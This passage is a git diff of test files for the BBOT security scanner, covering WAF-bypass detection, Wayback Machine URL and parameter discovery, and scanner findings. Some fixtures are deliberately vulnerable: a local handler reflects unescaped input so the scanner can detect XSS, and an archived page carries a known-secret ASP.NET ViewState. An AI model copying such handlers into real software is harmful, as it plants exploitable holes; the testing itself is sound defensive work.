+        captured = self.captured_san_arg
+
+        async def fake_analyze(arg):
+            captured.append(arg)
+            return []
+
+        async def fake_baseline(event, normalized_url, host_ip):
+            return {"http_code": 200, "response_data": "baseline", "url": normalized_url}
+
+        async def fake_wildcard_check(scheme, host, event, host_ip, baseline):
+            return True
+
+        module_test.monkeypatch.setattr(vh_module, "_analyze_subject_alternate_names", fake_analyze)
+        module_test.monkeypatch.setattr(vh_module, "_get_baseline_response", fake_baseline)
+        module_test.monkeypatch.setattr(vh_module, "_wildcard_canary_check", fake_wildcard_check)
+
+        from bbot.modules.base import BaseModule
+
+        class DummyModule(BaseModule):
+            _name = "dummy_module_sans"
+            watched_events = ["SCAN"]
+
+            async def handle_event(self, event):
+                if event.type == "SCAN":
+                    url_event = self.scan.make_event(
+                        "https://localhost:9999/",
+                        "URL",
+                        parent=event,
+                        tags=["status-200", "ip-127.0.0.1"],
+                    )
+                    await self.emit_event(url_event)
+
+        module_test.scan.modules["dummy_module_sans"] = DummyModule(module_test.scan)
+
+        orig_handle_event = vh_module.handle_event
+
+        async def patched_handle_event(ev):
+            ev._resolved_hosts = {"127.0.0.1"}
+            return await orig_handle_event(ev)
+
+        module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event)
+
+    def check(self, module_test, events):
+        assert self.captured_san_arg, "SAN analyzer was never invoked on the HTTPS URL event"
+        san_arg = self.captured_san_arg[0]
+        assert isinstance(san_arg, str), (
+            f"SAN analyzer received {type(san_arg).__name__}, expected str. Value: {san_arg!r}"
+        )
+        assert san_arg.startswith("https://"), f"Expected HTTPS URL, got {san_arg!r}"
diff --git a/bbot/test/test_step_2/module_tests/test_module_virustotal.py b/bbot/test/test_step_2/module_tests/test_module_virustotal.py
index a6325978f0..b12944c180 100644
--- a/bbot/test/test_step_2/module_tests/test_module_virustotal.py
+++ b/bbot/test/test_step_2/module_tests/test_module_virustotal.py
@@ -5,7 +5,7 @@ class TestVirusTotal(ModuleTestBase):
     config_overrides = {"modules": {"virustotal": {"api_key": "asdf"}}}
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://www.virustotal.com/api/v3/domains/blacklanternsecurity.com/subdomains",
             json={
                 "meta": {"count": 25, "cursor": "eyJsaW1pdCI6IDEwLCAib2Zmc2V0IjogMTB9"},
diff --git a/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py b/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py
new file mode 100644
index 0000000000..6e000732e5
--- /dev/null
+++ b/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py
@@ -0,0 +1,137 @@
+from .base import ModuleTestBase
+from bbot.modules.base import BaseModule
+
+
+class TestWAFBypass(ModuleTestBase):
+    targets = ["protected.test", "direct.test"]
+    module_name = "waf_bypass"
+    modules_overrides = ["waf_bypass", "http"]
+    config_overrides = {
+        "scope": {"report_distance": 2},
+        "modules": {"waf_bypass": {"search_ip_neighbors": True, "neighbor_cidr": 30}},
+    }
+
+    PROTECTED_IP = "127.0.0.129"
+    DIRECT_IP = "127.0.0.2"
+
+    api_response_direct = {
+        "asn": 15169,
+        "subnets": ["127.0.0.0/25"],
+        "asn_name": "ACME-ORG",
+        "org": "ACME-ORG",
+        "country": "US",
+    }
+
+    api_response_cloudflare = {
+        "asn": 13335,
+        "asn_name": "CLOUDFLARENET",
+        "country": "US",
+        "ip": "127.0.0.129",
+        "org": "Cloudflare, Inc.",
+        "rir": "ARIN",
+        "subnets": ["127.0.0.128/25"],
+    }
+
+    class DummyModule(BaseModule):
+        watched_events = ["DNS_NAME"]
+        _name = "dummy_module"
+        events_seen = []
+
+        async def handle_event(self, event):
+            if event.data == "protected.test":
+                await self.helpers.sleep(0.5)
+                self.events_seen.append(event.data)
+                url = "http://protected.test:8888/"
+                url_event = self.scan.make_event(
+                    url, "URL", parent=self.scan.root_event, tags=["cdn-cloudflare", "in-scope", "status-200"]
+                )
+                if url_event is not None:
+                    await self.emit_event(url_event)
+
+            elif event.data == "direct.test":
+                await self.helpers.sleep(0.5)
+                self.events_seen.append(event.data)
+                url = "http://direct.test:8888/"
+                url_event = self.scan.make_event(
+                    url, "URL", parent=self.scan.root_event, tags=["in-scope", "status-200"]
+                )
+                if url_event is not None:
+                    await self.emit_event(url_event)
+
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns(
+            {
+                "protected.test": {"A": [self.PROTECTED_IP]},
+                "direct.test": {"A": [self.DIRECT_IP]},
+                "": {"A": []},
+            }
+        )
+
+        self.module_test = module_test
+
+        self.dummy_module = self.DummyModule(module_test.scan)
+        module_test.scan.modules["dummy_module"] = self.dummy_module
+
+        # Mock ASN lookups via asndb
+        asn_helper = module_test.scan.helpers.asn
+
+        async def mock_lookup_ip(ip, include_subnets=False):
+            if str(ip) == self.DIRECT_IP or str(ip).startswith("127.0.0."):
+                return self.api_response_direct
+            elif str(ip) == self.PROTECTED_IP:
+                return self.api_response_cloudflare
+            return None
+
+        module_test.monkeypatch.setattr(asn_helper.client, "lookup_ip", mock_lookup_ip)
+
+        expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "protected.test"}}
+        respond_args = {"status": 200, "response_data": "HELLO THERE!"}
+        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
+
+        # Patch WAF bypass get_url_content to control similarity outcome
+        waf_module = module_test.scan.modules["waf_bypass"]
+
+        class FakeResponse:
+            def __init__(self, text, status_code):
+                self.text = text
+                self.status_code = status_code
+
+        async def fake_get_url_content(self_waf, url, ip=None):
+            if "protected.test" in url and (ip is None or ip == "127.0.0.1"):
+                return FakeResponse("PROTECTED CONTENT!", 200)
+            else:
+                return FakeResponse("ERROR!", 404)
+
+        import types
+
+        module_test.monkeypatch.setattr(
+            waf_module,
+            "get_url_content",
+            types.MethodType(fake_get_url_content, waf_module),
+            raising=True,
+        )
+
+        # 7. Monkeypatch tldextract so base_domain is never empty
+        def fake_tldextract(domain):
+            import types as _t
+
+            return _t.SimpleNamespace(top_domain_under_public_suffix=domain)
+
+        module_test.monkeypatch.setattr(
+            waf_module.helpers,
+            "tldextract",
+            fake_tldextract,
+            raising=True,
+        )
+
+    def check(self, module_test, events):
+        waf_bypass_events = [e for e in events if e.type == "FINDING"]
+        assert waf_bypass_events, "No FINDING event produced"
+
+        correct_description = [
+            e
+            for e in waf_bypass_events
+            if "WAF Bypass Confirmed - Direct IPs: 127.0.0.1 for http://protected.test:8888/. Similarity 100.00%"
+            in e.data["description"]
+        ]
+        assert correct_description, "Incorrect description"
diff --git a/bbot/test/test_step_2/module_tests/test_module_wafw00f.py b/bbot/test/test_step_2/module_tests/test_module_wafw00f.py
index 892d892ff0..b3065aac48 100644
--- a/bbot/test/test_step_2/module_tests/test_module_wafw00f.py
+++ b/bbot/test/test_step_2/module_tests/test_module_wafw00f.py
@@ -5,7 +5,7 @@
 
 class TestWafw00f(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "wafw00f"]
+    modules_overrides = ["http", "wafw00f"]
 
     async def setup_after_prep(self, module_test):
         expect_args = {"method": "GET", "uri": "/"}
@@ -18,7 +18,7 @@ def check(self, module_test, events):
 
 class TestWafw00f_noredirect(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "wafw00f"]
+    modules_overrides = ["http", "wafw00f"]
 
     async def setup_after_prep(self, module_test):
         expect_args = {"method": "GET", "uri": "/"}
@@ -34,7 +34,7 @@ def check(self, module_test, events):
 
 class TestWafw00f_genericdetection(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "wafw00f"]
+    modules_overrides = ["http", "wafw00f"]
 
     async def setup_after_prep(self, module_test):
         def handler(request):
diff --git a/bbot/test/test_step_2/module_tests/test_module_wayback.py b/bbot/test/test_step_2/module_tests/test_module_wayback.py
index 7582e54173..b37d0d4d57 100644
--- a/bbot/test/test_step_2/module_tests/test_module_wayback.py
+++ b/bbot/test/test_step_2/module_tests/test_module_wayback.py
@@ -1,12 +1,729 @@
+import re
+from urllib.parse import unquote
+
+from werkzeug.wrappers import Response
+
+from bbot.modules.wayback import wayback
+
 from .base import ModuleTestBase
 
 
 class TestWayback(ModuleTestBase):
     async def setup_after_prep(self, module_test):
-        module_test.httpx_mock.add_response(
-            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original",
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
             json=[["original"], ["http://asdf.blacklanternsecurity.com"]],
         )
 
     def check(self, module_test, events):
         assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain"
+
+
+class TestWaybackParameters(ModuleTestBase):
+    module_name = "wayback"
+    targets = ["blacklanternsecurity.com", "127.0.0.1"]
+    modules_overrides = ["wayback", "hunt"]
+    config_overrides = {"modules": {"wayback": {"urls": True, "parameters": True}}}
+
+    async def setup_after_prep(self, module_test):
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[
+                ["original"],
+                ["http://127.0.0.1:8888/page?foo=bar&baz=qux"],
+            ],
+        )
+        # serve a response on the local httpserver so the httpx binary gets a 200
+        module_test.set_expect_requests(expect_args={"uri": "/page"}, respond_args={"response_data": "alive"})
+
+    def check(self, module_test, events):
+        assert any(e.type == "URL_UNVERIFIED" and "127.0.0.1" in e.url and "/page" in e.url for e in events), (
+            "Failed to emit URL_UNVERIFIED"
+        )
+        assert any(
+            e.type == "WEB_PARAMETER" and e.data["name"] == "foo" and e.data["original_value"] == "bar" for e in events
+        ), "Failed to emit WEB_PARAMETER for foo"
+        assert any(
+            e.type == "WEB_PARAMETER" and e.data["name"] == "baz" and e.data["original_value"] == "qux" for e in events
+        ), "Failed to emit WEB_PARAMETER for baz"
+        # check that additional_params contains sibling params but excludes the current one
+        for e in events:
+            if e.type == "WEB_PARAMETER" and e.data["name"] == "foo":
+                assert e.data["additional_params"] == {"baz": "qux"}, (
+                    f"foo's additional_params wrong: {e.data['additional_params']}"
+                )
+            if e.type == "WEB_PARAMETER" and e.data["name"] == "baz":
+                assert e.data["additional_params"] == {"foo": "bar"}, (
+                    f"baz's additional_params wrong: {e.data['additional_params']}"
+                )
+
+
+class TestWaybackInterestingFiles(ModuleTestBase):
+    module_name = "wayback"
+    modules_overrides = ["wayback"]
+    targets = ["blacklanternsecurity.com", "127.0.0.1"]
+    config_overrides = {"modules": {"wayback": {"urls": True}}}
+
+    async def setup_after_prep(self, module_test):
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[["original"], ["http://blacklanternsecurity.com/backup/site.zip"]],
+        )
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/web/http://blacklanternsecurity.com/backup/site.zip",
+            headers={"Content-Type": "application/zip", "Content-Length": "1048576"},
+        )
+
+    def check(self, module_test, events):
+        assert any(
+            e.type == "FINDING"
+            and "Interesting archived file found" in e.data["description"]
+            and "site.zip" in e.data["description"]
+            for e in events
+        ), "Failed to emit FINDING for interesting archived file"
+        for e in events:
+            if e.type == "FINDING" and "site.zip" in e.data.get("description", ""):
+                assert "web.archive.org" in e.data["url"]
+
+
+class TestWaybackArchive(ModuleTestBase):
+    module_name = "wayback"
+    modules_overrides = ["wayback", "badsecrets", "excavate"]
+    targets = ["blacklanternsecurity.com", "127.0.0.1"]
+    config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}}
+
+    sample_viewstate = """<html>
+<form method="post" action="./query.aspx" id="form1">
+<div class="aspNetHidden">
+<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="rJdyYspajyiWEjvZ/SMXsU/1Q6Dp1XZ/19fZCABpGqWu+s7F1F/JT1s9mP9ED44fMkninhDc8eIq7IzSllZeJ9JVUME41i8ozheGunVSaESf4nBu" />
+</div>
+<div class="aspNetHidden">
+<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="EDD8C9AE" />
+<input type="hidden" name="__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="" />
+</div>
+</form>
+</html>"""
+
+    async def setup_after_prep(self, module_test):
+        # wayback returns a URL on an unreachable port — httpx binary can't verify it
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[["original"], ["http://127.0.0.1:1/deadpage"]],
+        )
+        # the archived page itself contains the vulnerable viewstate
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/web/http://127.0.0.1:1/deadpage",
+            text=self.sample_viewstate,
+            headers={"Content-Type": "text/html"},
+        )
+
+    def check(self, module_test, events):
+        # the dead URL (port 1) should NOT be verified as live
+        assert not any(e.type == "URL" and "deadpage" in e.url for e in events)
+        # badsecrets should have found the vulnerability in the archived viewstate
+        assert any(e.type == "FINDING" and "Known Secret Found." in e.data["description"] for e in events), (
+            "Failed to detect badsecrets vulnerability from archived content"
+        )
+        # the vulnerability should reference the original URL, with "from-wayback" tag for provenance
+        for e in events:
+            if e.type == "FINDING" and "Known Secret Found." in e.data["description"]:
+                assert "127.0.0.1" in e.data["url"], (
+                    f"FINDING url should contain the original host, got: {e.data['url']}"
+                )
+                assert "web.archive.org" not in e.data["url"], (
+                    f"FINDING url should NOT be an archive.org URL, got: {e.data['url']}"
+                )
+        # web.archive.org should NOT appear as a DNS_NAME event
+        assert not any(e.type == "DNS_NAME" and e.data == "web.archive.org" for e in events), (
+            "web.archive.org should not leak as a DNS_NAME event"
+        )
+
+
+class TestWaybackHttpHttpsDedup(ModuleTestBase):
+    """When CDX returns both http:// and https:// for the same URL, only emit https://."""
+
+    module_name = "wayback"
+    modules_overrides = ["wayback"]
+    targets = ["blacklanternsecurity.com"]
+    config_overrides = {"modules": {"wayback": {"urls": True}}}
+
+    async def setup_after_prep(self, module_test):
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[
+                ["original"],
+                ["http://blacklanternsecurity.com/page"],
+                ["https://blacklanternsecurity.com/page"],
+            ],
+        )
+
+    def check(self, module_test, events):
+        url_unverified = [e for e in events if e.type == "URL_UNVERIFIED" and "/page" in e.url]
+        # should have only one, the https version
+        assert len(url_unverified) == 1, (
+            f"Expected 1 URL_UNVERIFIED, got {len(url_unverified)}: {[e.url for e in url_unverified]}"
+        )
+        assert url_unverified[0].url.startswith("https://"), f"Expected https URL, got: {url_unverified[0].url}"
+
+
+class TestWaybackHttpOnlyKept(ModuleTestBase):
+    """When CDX returns only http:// (no https:// counterpart), emit the http:// URL."""
+
+    module_name = "wayback"
+    modules_overrides = ["wayback"]
+    targets = ["blacklanternsecurity.com"]
+    config_overrides = {"modules": {"wayback": {"urls": True}}}
+
+    async def setup_after_prep(self, module_test):
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[
+                ["original"],
+                ["http://blacklanternsecurity.com/old-http-only"],
+            ],
+        )
+
+    def check(self, module_test, events):
+        url_unverified = [e for e in events if e.type == "URL_UNVERIFIED" and "/old-http-only" in e.url]
+        assert len(url_unverified) == 1, f"Expected 1 URL_UNVERIFIED, got {len(url_unverified)}"
+        assert url_unverified[0].url.startswith("http://"), (
+            f"Expected http URL when no https exists, got: {url_unverified[0].url}"
+        )
+
+
+class TestWaybackCdnCgiBlacklist(ModuleTestBase):
+    """cdn-cgi/ URLs (Cloudflare infrastructure) should be filtered out."""
+
+    module_name = "wayback"
+    modules_overrides = ["wayback"]
+    targets = ["blacklanternsecurity.com"]
+    config_overrides = {"modules": {"wayback": {"urls": True}}}
+
+    async def setup_after_prep(self, module_test):
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[
+                ["original"],
+                ["https://blacklanternsecurity.com/cdn-cgi/challenge-platform/h/g/something"],
+                ["https://blacklanternsecurity.com/real-page"],
+            ],
+        )
+
+    def check(self, module_test, events):
+        # cdn-cgi URL should be filtered
+        assert not any(e.type == "URL_UNVERIFIED" and "cdn-cgi" in e.url for e in events), (
+            "cdn-cgi URL should have been filtered"
+        )
+        # real page should still be emitted
+        assert any(e.type == "URL_UNVERIFIED" and "real-page" in e.url for e in events), (
+            "Non-cdn-cgi URL should have been emitted"
+        )
+
+
+class TestWaybackArchiveHostField(ModuleTestBase):
+    """Archived HTTP_RESPONSE events should use original URL (not archive.org) to prevent cascade."""
+
+    module_name = "wayback"
+    modules_overrides = ["wayback", "excavate"]
+    targets = ["blacklanternsecurity.com", "127.0.0.1"]
+    config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}}
+
+    async def setup_after_prep(self, module_test):
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[["original"], ["http://127.0.0.1:1/archived-page"]],
+        )
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/web/http://127.0.0.1:1/archived-page",
+            text="<html><body>archived content</body></html>",
+            headers={"Content-Type": "text/html"},
+        )
+
+    def check(self, module_test, events):
+        http_responses = [e for e in events if e.type == "HTTP_RESPONSE" and "from-wayback" in e.tags]
+        assert len(http_responses) >= 1, "Expected at least one archived HTTP_RESPONSE"
+        for e in http_responses:
+            # URL should be the ORIGINAL (not archive.org) so event.host returns the original host
+            assert "web.archive.org" not in e.data["url"], (
+                f"HTTP_RESPONSE url should NOT be an archive.org URL, got: {e.data['url']}"
+            )
+            assert "127.0.0.1" in e.data["url"], (
+                f"HTTP_RESPONSE url should contain original host, got: {e.data['url']}"
+            )
+            # archive_url should contain the archive.org provenance URL
+            assert "web.archive.org" in e.data.get("archive_url", ""), (
+                f"HTTP_RESPONSE archive_url should be the archive.org URL, got: {e.data.get('archive_url')}"
+            )
+            # event.host should be the original host
+            assert str(e.host) != "web.archive.org", f"event.host should be original host, got: {e.host}"
+        # web.archive.org should NOT appear as a DNS_NAME event
+        assert not any(e.type == "DNS_NAME" and e.data == "web.archive.org" for e in events), (
+            "web.archive.org should not leak as a DNS_NAME event"
+        )
+
+
+class TestWaybackArchiveHuntFinding(ModuleTestBase):
+    """When hunt processes a WEB_PARAMETER extracted from archived content,
+    the resulting FINDING should have the original host and original URL — NOT web.archive.org."""
+
+    module_name = "wayback"
+    modules_overrides = ["wayback", "excavate", "hunt"]
+    targets = ["blacklanternsecurity.com", "127.0.0.1"]
+    config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}}
+
+    async def setup_after_prep(self, module_test):
+        # CDX returns a dead URL (port 1 = unreachable) with a huntable form
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[["original"], ["http://127.0.0.1:1/search"]],
+        )
+        # the archived page contains a form with "redirect" — a known hunt parameter
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/web/http://127.0.0.1:1/search",
+            text='<html><form method="GET" action="/search"><input name="redirect" value="test"></form></html>',
+            headers={"Content-Type": "text/html"},
+        )
+
+    def check(self, module_test, events):
+        # hunt should have found the "redirect" parameter as interesting
+        hunt_findings = [
+            e for e in events if e.type == "FINDING" and "redirect" in e.data.get("description", "").lower()
+        ]
+        assert len(hunt_findings) >= 1, (
+            f"Expected at least one hunt FINDING for 'redirect' param, got: "
+            f"{[(e.type, e.data.get('description', '')) for e in events if e.type == 'FINDING']}"
+        )
+        for finding in hunt_findings:
+            # host must be the original, NOT web.archive.org
+            assert finding.data.get("host") != "web.archive.org", (
+                f"Hunt FINDING host should NOT be web.archive.org, got: {finding.data}"
+            )
+            assert finding.data.get("host") == "127.0.0.1", (
+                f"Hunt FINDING host should be 127.0.0.1 (original), got: {finding.data.get('host')}"
+            )
+            # URL should NOT contain web.archive.org — it should be the original URL
+            finding_url = finding.data.get("url", "")
+            assert "web.archive.org" not in finding_url, (
+                f"Hunt FINDING url should NOT contain web.archive.org, got: {finding_url}"
+            )
+            # from-wayback tag should propagate; archive_url is reachable via parent traversal
+            assert "from-wayback" in finding.tags, (
+                f"Hunt FINDING should have from-wayback tag, got tags: {finding.tags}"
+            )
+            assert finding.archive_url is not None, (
+                "Hunt FINDING should be able to reach archive_url via parent traversal"
+            )
+            assert "web.archive.org" in finding.archive_url, (
+                f"Hunt FINDING archive_url should be archive.org URL, got: {finding.archive_url}"
+            )
+
+        # WEB_PARAMETERs from archived content should have from-wayback tag and reachable archive_url
+        archived_params = [
+            e for e in events if e.type == "WEB_PARAMETER" and "redirect" in e.data.get("name", "").lower()
+        ]
+        for param in archived_params:
+            assert "from-wayback" in param.tags, (
+                f"WEB_PARAMETER from archived content should have from-wayback tag, got tags: {param.tags}"
+            )
+            assert param.archive_url is not None, (
+                "WEB_PARAMETER from archived content should reach archive_url via parent traversal"
+            )
+
+        # web.archive.org should never appear as a DNS_NAME
+        assert not any(e.type == "DNS_NAME" and e.data == "web.archive.org" for e in events), (
+            "web.archive.org should not leak as a DNS_NAME event"
+        )
+
+
+class TestWaybackLightfuzzXSS(ModuleTestBase):
+    """End-to-end: wayback discovers URL with param → httpx verifies → wayback emits WEB_PARAMETER → lightfuzz finds XSS."""
+
+    module_name = "wayback"
+    targets = ["blacklanternsecurity.com"]
+    modules_overrides = ["wayback", "http", "lightfuzz", "excavate"]
+    targets = ["blacklanternsecurity.com", "127.0.0.1"]
+    config_overrides = {
+        "interactsh_disable": True,
+        "modules": {
+            "wayback": {"urls": True, "parameters": True},
+            "lightfuzz": {"enabled_submodules": ["xss"]},
+        },
+    }
+
+    def request_handler(self, request):
+        qs = str(request.query_string.decode())
+        if "search=" in qs:
+            value = qs.split("search=")[1]
+            if "&" in value:
+                value = value.split("&")[0]
+            return Response(
+                f"<html><h1>Results for '{unquote(value)}'</h1></html>",
+                status=200,
+            )
+        return Response("<html><p>default page</p></html>", status=200)
+
+    async def setup_after_prep(self, module_test):
+        module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA"
+        # CDX returns a URL with a search parameter pointing at the local httpserver
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[["original"], ["http://127.0.0.1:8888/?search=test"]],
+        )
+        # httpserver handles httpx verification and lightfuzz probes
+        expect_args = re.compile("/")
+        module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
+
+    def check(self, module_test, events):
+        # wayback should have emitted WEB_PARAMETER for "search"
+        assert any(
+            e.type == "WEB_PARAMETER" and e.data["name"] == "search" and "wayback" in e.data["description"].lower()
+            for e in events
+        ), "wayback failed to emit WEB_PARAMETER for search"
+        # lightfuzz should have detected XSS
+        assert any(
+            e.type == "FINDING" and "XSS" in e.data["description"] and "search" in e.data["description"]
+            for e in events
+        ), (
+            f"lightfuzz failed to detect XSS. FINDINGs: "
+            f"{[(e.data.get('description', '')) for e in events if e.type == 'FINDING']}"
+        )
+
+
+class TestWaybackStripBodyArtifacts(ModuleTestBase):
+    """Test that _strip_wayback_wrapper removes all archive.org artifacts from HTML body."""
+
+    module_name = "wayback"
+    modules_overrides = ["wayback"]
+
+    async def setup_after_prep(self, module_test):
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[["original"]],
+        )
+
+    def check(self, module_test, events):
+        w = wayback.__new__(wayback)
+
+        # test stripping of rewritten URLs
+        body = '<a href="http://web.archive.org/web/20250101120000/http://example.com/page">link</a>'
+        stripped = w._strip_wayback_wrapper(body)
+        assert "web.archive.org" not in stripped
+        assert "http://example.com/page" in stripped
+
+        # test stripping of toolbar
+        body = (
+            "<!-- BEGIN WAYBACK TOOLBAR INSERT --><div>toolbar</div><!-- END WAYBACK TOOLBAR INSERT --><p>content</p>"
+        )
+        stripped = w._strip_wayback_wrapper(body)
+        assert "toolbar" not in stripped
+        assert "content" in stripped
+
+        # test stripping of stale archive.org references (e.g. /web/submit form)
+        body = '<form action="http://web.archive.org/web/submit"><input name="date"></form><p>real</p>'
+        stripped = w._strip_wayback_wrapper(body)
+        assert "web.archive.org" not in stripped
+        assert "real" in stripped
+
+        # test stripping of protocol-relative archive.org URLs
+        body = '<script src="//archive.org/includes/athena.js"></script><p>content</p>'
+        stripped = w._strip_wayback_wrapper(body)
+        assert "archive.org" not in stripped
+        assert "content" in stripped
+
+        # test stripping of relative wayback URL rewrites (href)
+        body = '<a href="/web/19971024185506/http://www.example.com/PDF%20files/data.pdf">link</a>'
+        stripped = w._strip_wayback_wrapper(body)
+        assert "/web/19971024185506/" not in stripped
+        assert "http://www.example.com/PDF%20files/data.pdf" in stripped
+
+        # test stripping of relative wayback URL rewrites with modifier suffix (im_ for images)
+        body = '<img src="/web/19971024185506im_/http://www.example.com/images/logo.gif">'
+        stripped = w._strip_wayback_wrapper(body)
+        assert "/web/19971024185506im_/" not in stripped
+        assert "http://www.example.com/images/logo.gif" in stripped
+
+        # test stripping of relative wayback URL rewrites with js_ suffix
+        body = '<script src="/web/20250529193232js_/https://www.example.com/script.js"></script>'
+        stripped = w._strip_wayback_wrapper(body)
+        assert "/web/20250529193232js_/" not in stripped
+        assert "https://www.example.com/script.js" in stripped
+
+
+class TestWaybackArchiveBloomDedup(ModuleTestBase):
+    """When multiple archive URLs redirect to the same snapshot, bloom filter prevents duplicate HTTP_RESPONSEs."""
+
+    module_name = "wayback"
+    modules_overrides = ["wayback"]
+    targets = ["blacklanternsecurity.com", "127.0.0.1"]
+    config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}}
+
+    async def setup_after_prep(self, module_test):
+        # CDX returns two different dead URLs
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/cdx/search/cdx?url=blacklanternsecurity.com&matchType=domain&output=json&fl=original&collapse=original&limit=100000&filter=!statuscode:404&filter=!statuscode:301&filter=!statuscode:302&filter=!mimetype:image/.*&filter=!mimetype:text/css&filter=!mimetype:warc/revisit",
+            json=[
+                ["original"],
+                ["http://127.0.0.1:1/page-a"],
+                ["http://127.0.0.1:1/page-b"],
+            ],
+        )
+        # both archive URLs redirect to the same archived snapshot
+        redirect_target = "http://web.archive.org/web/20230101120000/http://127.0.0.1:1/same-page"
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/web/http://127.0.0.1:1/page-a",
+            status_code=301,
+            headers={"Location": redirect_target},
+        )
+        module_test.blasthttp_mock.add_response(
+            url="http://web.archive.org/web/http://127.0.0.1:1/page-b",
+            status_code=301,
+            headers={"Location": redirect_target},
+        )
+        # two responses for the redirect target (one consumed per redirect)
+        for _ in range(2):
+            module_test.blasthttp_mock.add_response(
+                url=redirect_target,
+                text="<html><body>archived content</body></html>",
+                headers={"Content-Type": "text/html"},
+            )
+
+    def check(self, module_test, events):
+        http_responses = [e for e in events if e.type == "HTTP_RESPONSE" and "from-wayback" in e.tags]
+        assert len(http_responses) == 1, (
+            f"Expected exactly 1 archived HTTP_RESPONSE (bloom dedup should prevent duplicate), got {len(http_responses)}"
+        )
+
+
+class TestWaybackArchiveRetry(ModuleTestBase):
+    """Archive fetches that fail transiently (connection error) should be retried and succeed."""
+
+    module_name = "wayback"
+    modules_overrides = ["wayback"]
